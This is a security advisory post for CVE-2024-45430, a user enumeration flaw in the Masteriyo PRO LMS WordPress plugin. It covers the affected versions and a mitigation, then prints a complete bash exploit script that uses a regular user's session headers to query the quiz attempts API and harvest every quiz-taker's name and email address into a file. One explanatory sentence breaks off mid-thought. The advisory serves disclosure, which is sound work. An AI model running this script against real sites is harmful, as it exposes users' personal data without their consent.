User Enumeration Vulnerability in Masteriyo (CVE-2024-45430 RESERVED)
Overview
The Masteriyo PRO - LMS for WordPress plugins contain a vulnerability that allows arbitrary user enumeration without administrative privileges. The this issue has resolved on 2.14.4 version.
Technical Details
The Quiz Attempts functionality enables user enumeration, as both the administrative panel and the regular user dashboard use the same API endpoint that does not validate whether the user is an administrator or not. This means that any user can view the attempts of all other users. The affected route is /wp-json/masteriyo/v1/quizes/attempts/?page=1&per_page=10, where manipulating the arguments and formatting the output allows enumerating all users who have taken quizzes.
Impact
By exploiting this vulnerability, an attacker with a regular user account can access sensitive user information, such as display names, first names, last names, and email addresses, without the need for an admin account.
Mitigation
Disabling the quiz attempts page for users is the unique solution for now if you’re using an old versions (<=2.14.3).
PoC
You can create users and experiment in a secure environment using the official Pro Demo. Be sure to complete some quizzes during your testing.
v2.13.3
v2.14.1-2
The version 2.14.1 only addresses the issue in the user interface, but it does not resolve the entire problem, similar to version 2.14.2.
v2.14.3
In this case, the /attempt endpoint is protected, but if we specify a different user ID as an argument (?user_id=
Exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
#!/bin/bash
# CVE: CVE-2024-45430
# PoC Script
# Author: Meyer Pidiache <meyer-pidiache>
# Description: This script is a proof of concept for CVE-2024-45430.
# Prerequisites:
# - Headers file for HTTP requests (default 'headers.txt').
# Usage:
# ./script.sh -u <URL of the API endpoint> -h <headers file> -o <users output file>
# Example:
# ./script.sh -u http://localhost:8080/wp-json/masteriyo/v1/quizes/attempts -h headers.txt -o users.json
# Notes:
# To obtain the headers from any request with an active session:
# Browser -> Developer Tools -> Network -> Request -> Right-click -> Copy value -> Copy request headers.
# Colors and formatting for CLI output
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
RED='\033[0;31m'
BLUE='\033[0;34m'
BOLD='\033[1m'
NC='\033[0m' # No color
# Function to display usage
show_usage() {
echo -e "${YELLOW}Usage: $0 -u <URL of the API endpoint> -h <headers file> -o <users output file>${NC}"
exit 1
}
# Process arguments
while getopts ":u:h:o:" opt; do
case $opt in
u) BASE_URL="$OPTARG" ;;
h) HEADERS_FILE="$OPTARG" ;;
o) USER_FILE="$OPTARG" ;;
\?) echo -e "${RED}[!] Invalid option -$OPTARG${NC}" >&2; show_usage ;;
:) echo -e "${RED}[!] Option -$OPTARG requires an argument${NC}" >&2; show_usage ;;
esac
done
# Check that the base URL was provided
if [ -z "$BASE_URL" ]; then
echo -e "${RED}[!] You must provide the Base URL as an argument.${NC}"
show_usage
fi
# Use default values if no files were provided
HEADERS_FILE="${HEADERS_FILE:-headers.txt}"
USER_FILE="${USER_FILE:-users.json}"
# Read headers from file and exclude lines that start with "GET", "POST", etc.
HEADERS=()
while IFS= read -r line; do
if [[ "$line" != *HTTP* ]]; then
HEADERS+=('-H' "$line")
fi
done < "$HEADERS_FILE"
# Verify if the headers are valid by making a test request
echo -e "${BLUE}[*] Verifying headers...${NC}"
test_response=$(curl -s -o /dev/null -w "%{http_code}" --compressed "${BASE_URL}?page=1&per_page=1" "${HEADERS[@]}")
if [ "$test_response" -ne 200 ]; then
echo -e "${RED}[!] The headers are invalid or the URL is not accessible.${NC}"
echo -e "${YELLOW}[!] Please check the headers file or the provided URL.${NC}"
exit 1
fi
# Check if the users file exists, if not create it as an empty array
if [ ! -f "$USER_FILE" ]; then
echo "[]" > "$USER_FILE"
echo -e "${YELLOW}[!] File $USER_FILE created as an empty array.${NC}"
fi
echo -e "${BLUE}[*] Retrieving the total number of attempts...${NC}"
response=$(curl -s --compressed "${BASE_URL}?page=1&per_page=1" "${HEADERS[@]}")
if [ -z "$response" ]; then
echo -e "${RED}[!] The response from the first request is empty.${NC}"
echo -e "${YELLOW}[!] Request: curl --compressed \"${BASE_URL}?page=1&per_page=1\" \"${HEADERS[@]}\"${NC}"
echo -e "${BLUE}[!] Response: ${BOLD}$response${NC}"
exit 1
fi
total_attempts=$(echo "$response" | jq -r '.meta.total')
if [ -z "$total_attempts" ] || [ "$total_attempts" -le 0 ]; then
echo -e "${RED}[!] Failed to retrieve the total number of attempts.${NC}"
echo -e "${BLUE}[!] Response: ${BOLD}$response${NC}"
total_attempts=10
fi
echo -e "${GREEN}[*] Total attempts to investigate: $total_attempts${NC}"
echo -e "${BLUE}[*] Investigating attempts...${NC}"
response=$(curl -s --compressed "${BASE_URL}?page=1&per_page=${total_attempts}&_locale=user" "${HEADERS[@]}")
if [ -z "$response" ]; then
echo -e "${RED}[!] The response from the second request is empty.${NC}"
echo -e "${YELLOW}[!] Request: curl --compressed \"${BASE_URL}?page=1&per_page=${total_attempts}&_locale=user\" \"${HEADERS[@]}\"${NC}"
exit 1
fi
existing_ids=$(jq -r '.[].id' "$USER_FILE")
if [ ${#existing_ids[@]} -gt 0 ]; then
echo -e "${BLUE}[*] Saving user information...${NC}"
# Use an associative array to store existing IDs
declare -A id_map
for id in $existing_ids; do
id_map["$id"]=1
done
echo "$response" | jq -c '.data[] | .user' | while IFS= read -r user; do
id=$(echo "$user" | jq -r '.id')
if [[ -z "${id_map[$id]}" ]]; then
# Add user to the file
jq --argjson user "$user" '. += [$user]' "$USER_FILE" > "${USER_FILE}.tmp" && mv "${USER_FILE}.tmp" "$USER_FILE"
id_map["$id"]=1
useremail=$(echo "$user" | jq -r '.email')
echo -e "${GREEN}[*] User saved: ${BOLD}$useremail${NC} (ID: $id)"
fi
done
else
echo -e "${YELLOW}[*] No users found.${NC}"
fi
echo -e "${BLUE}[*] Operation completed.${NC}"
Comments powered by Disqus.